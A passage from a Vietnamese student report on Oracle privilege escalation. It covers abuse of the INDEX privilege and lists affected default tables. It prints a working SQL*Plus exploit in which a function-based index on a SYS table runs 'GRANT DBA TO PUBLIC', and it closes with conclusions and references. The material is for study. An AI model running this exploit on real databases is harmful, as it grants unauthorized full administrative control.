Để tăng tốc độ truy vấn các tập dữ liệu lớn, hầu hết các máy chủ cơ sở dữ liệu đều cho phép lập chỉ mục dữ liệu bảng. Trong Oracle, để có thể tạo chỉ mục trên bảng, người dùng phải sở hữu bảng hoặc có đặc quyền đối tượng INDEX trên bảng hoặc có hệ thống TẠO BẤT KỲ CHỈ SỐ đặc quyền. Nếu người dùng có một trong hai đặc quyền này, thì một lỗ hổng bảo mật sẽ được mở ra, theo đó họ có thể thực thi SQL tùy ý với tư cách là chủ nhân của bảng bằng cách tạo một chỉ mục dựa trên hàm trên bàn. Nếu bảng được đề cập thuộc sở hữu của người dùng có đặc quyền cao như SYS hoặc SYSTEM thì máy chủ cơ sở dữ liệu trở nên nguy hiểm vì nó cung cấp cho kẻ tấn cơng khả năng thỏa hiệp hệ thống.
Vai trị PUBLIC (trước đây) đã được cấp đặc quyền INDEX trên các bảng sản phẩm và các tùy chọn phụ thuộc: SYS.DUAL SYS.OLAPTABLEVELS SYS.OLAPTABLEVELTUPLES SYSTEM.OLAP_SESSION_CUBES SYSTEM.OLAP_SESSION_DIMS SYSTEM.PLAN_TABLE FLOWS_FILES.WWV_FLOW_FILE_OBJECT$ TOAD.TOAD_PLAN_TABLE
Bản ghi sau minh họa cách kẻ tấn cơng có thể tận dụng đặc quyền INDEX để thực thi SQL tùy ý. Giả sử có một bảng được gọi là FOO thuộc sở hữu của SYS và PUBLIC đã được cấp Đặc quyền INDEX trên đó. Người dùng có tên TSS kết nối với máy chủ cơ sở dữ liệu và cố gắng thiết lập DBA vai trị khơng thành cơng vì TSS chưa được cấp thành viên của vai trò này. Người dùng TSS sẽ nhận được DBA đặc quyền bằng cách khai thác lỗ hổng INDEX. TSS đầu tiên tạo một hàm gọi là GETDBO sẽ thực hiện công việc. TSS tiếp theo tạo một chỉ mục có tên EXPLOIT_INDEX trên bảng SYS.FOO gọi hàm GETDBA. Tiếp theo, TSS chọn từ bảng DUAL tạo ra chỉ mục EXPLOIT INDEX để thực thi hàm GET DBA với các đặc quyền SYS. Hàm GET DBA chứa SQL để CẤP vai trò DBA cho vai trị CƠNG. Khi điều này đã được thực
26
hiện, người dùng TSS có thể đặt vai trị DBA.Khi làm như vậy, người dùng TSS hiện có tồn quyền kiểm sốt cơ sở dữ liệu.
SQL> connect tss/password Connected.
SQL> set role dba;
set role dba * ERROR at line 1: ORA-01924: role 'DBA' not granted or does not exist SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO VARCHAR) RETURN VARCHAR DETERMINISTIC AUTHID CURRENT_USER IS
2 PRAGMA AUTONOMOUS_TRANSACTION; 3 BEGIN
4 EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; 5 COMMIT;
6 RETURN 'FOO'; 7 END;
8 /
Function created.
SQL> GRANT EXECUTE ON GETDBA TO PUBLIC; Grant succeeded.
SQL> CREATE INDEX EXPLOIT_INDEX ON SYS.FOO(TSS.GETDBA(BAR)); Index created.
SQL> select * from sys.foo; B
- X
SQL> set role dba; Role set.
27
KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN
Với đề tài “ Tìm hiểu về tấn công leo thang đặc quyền (PRIVILEGE ESCALATION) trên oracle” mục đích ban đầu là tìm hiểu về khái niệm và cách thức hoạt động về một số phương pháp tấn công leo thang đặc quyền trên oracle. Đến thời điểm hiện tại đề tài đã đạt được những vấn đề cơ bản như : Có cái nhìn tổng quan về cơ sở dữ liệu Oracle , một số phương pháp tấn công cơ bản như SQL injection, Oracle Rootkit…Và đã đi sâu vào phân tích cụ thể về phương pháp, cách thức hoạt động, kỹ thuật của một số kỹ thuật tấn công cơ sở dữ liệu.
Đề tài hồn thành có ý nghĩa thực tiễn và trở thành một tài liệu tham khảo cho người đọc khi muốn tìm hiểu về các vấn đề liên quan đến tấn cơng cơ sở dữ liệu của Oracle
Nhìn chung đề tài đã đạt được một số kết quả như sau:
Nghiên cứu một số kỹ thuật tấn công như SQL injection, chèn mã PL/SQL, Rootkit Oracle… và đưa ra một số biện pháp phòng tránh.
Đã thực hiện và áp dụng thành công các phương pháp tấn công oracle indexes,rootkit
Tuy nhiên trong quá trình thực hiện đề tài vẫn cịn nhiều thiếu sót. Vì vậy nhóm thực hiền đề tài sẽ được phát triển thêm nếu điều kiện cho phép. Một số đề xuất cho hướng phát triển đề tài như sau:
Tìm hiểu kỹ thuật tấn cơng một cách sâu sắc hơn
Mở rộng khung tìm hiểu về các kỹ thuật khác như : SQL injection, tấn công bằng cách sử dụng odat,...
Như vậy với đề tài “ Tìm hiểu về tấn cơng leo thang đặc quyền (PRIVILEGE ESCALATION) trên oracle” nhóm hy vọng sẽ được sự góp ý của thầy cơ và các bạn và mong muốn đem lại phần nào kiến thức để giúp mọi người có cái nhìn tổng quan và có biện pháp an tồn cần thiết khi sử dụng cơ sở dữ liệu.
28
TÀI LIỆU THAM KHẢO
[1] http://www.dba-oracle.com/t_oracle_rootkits.htm [2]http://vi.wikipedia.org/wiki/SQL_injection [3]http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf [4] https://www.doag.org/formes/pubfiles/6461091/2014-DB-Alexander_Kornbrust- Best_of_Oracle_Security_2014-Praesentation.pdf [5] http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.htm [6] https://text.123doc.net/document/2595063-cac-tan-cong-vao-co-so-du-lieu- oracle.htm